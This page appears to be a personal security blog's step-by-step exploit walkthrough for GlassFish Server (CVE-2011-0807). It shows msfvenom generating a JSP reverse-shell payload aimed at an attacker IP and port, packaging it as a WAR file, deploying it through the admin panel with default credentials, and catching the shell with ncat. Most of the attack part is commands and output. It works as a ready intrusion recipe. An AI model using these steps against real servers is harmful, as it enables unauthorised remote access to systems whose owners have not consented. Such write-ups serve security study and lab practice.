rootπŸ’€n16hth4wk-sec:~#

Hack Enumerate Harder!. Eat. Sleep. Repeat.

View on GitHub

Description

This module logs in to an GlassFish Server 3.1 (Open Source or Commercial) instance using a default credential, uploads, and executes commands via deploying a malicious WAR. On Glassfish 2.x, 3.0 and Sun Java System Application Server 9.x.

CVE

CVE-2011-0807

Steps to exploit

β”Œβ”€β”€(n16hth4wkπŸ‘½n16hth4wk-sec)-[~/Glassfish]
└─$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=172.16.139.10 LPORT=5566 -f raw -o shell.jsp   
Payload size: 1499 bytes
Saved as: shell.jsp
                                                                                                                                                            
β”Œβ”€β”€(n16hth4wkπŸ‘½n16hth4wk-sec)-[~/Glassfish]
└─$ mkdir shell                                                                              
                                                                                                                                                            
β”Œβ”€β”€(n16hth4wkπŸ‘½n16hth4wk-sec)-[~/Glassfish]
└─$ cp shell.jsp shell                                        
                                                                                                                                                            
β”Œβ”€β”€(n16hth4wkπŸ‘½n16hth4wk-sec)-[~/Glassfish]
└─$ cd shell          
                                                                                                                                                            
β”Œβ”€β”€(n16hth4wkπŸ‘½n16hth4wk-sec)-[~/Glassfish/shell]
└─$ jar -cvf ../shell.war *
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: shell.jsp(in = 1499) (out= 587)(deflated 60%)
                                                                                                                                                            
β”Œβ”€β”€(n16hth4wkπŸ‘½n16hth4wk-sec)-[~/Glassfish/shell]
└─$ cd ../                
                                                                                                                                                            
β”Œβ”€β”€(n16hth4wkπŸ‘½n16hth4wk-sec)-[~/Glassfish]
└─$ ls                    
shell  shell.jsp  shell.war

image

Glassfish 3.1.3

image

login to the admin panel and click on deploy an application

image

upload the war shell file we created earlier and click ok to upload

image

click launch to launch the appliication and start your listener on ncat

image

click on the link to trigger the shell

image

check back your listener

image

we got a reverse shell. and we are through πŸ™‚ easy huh?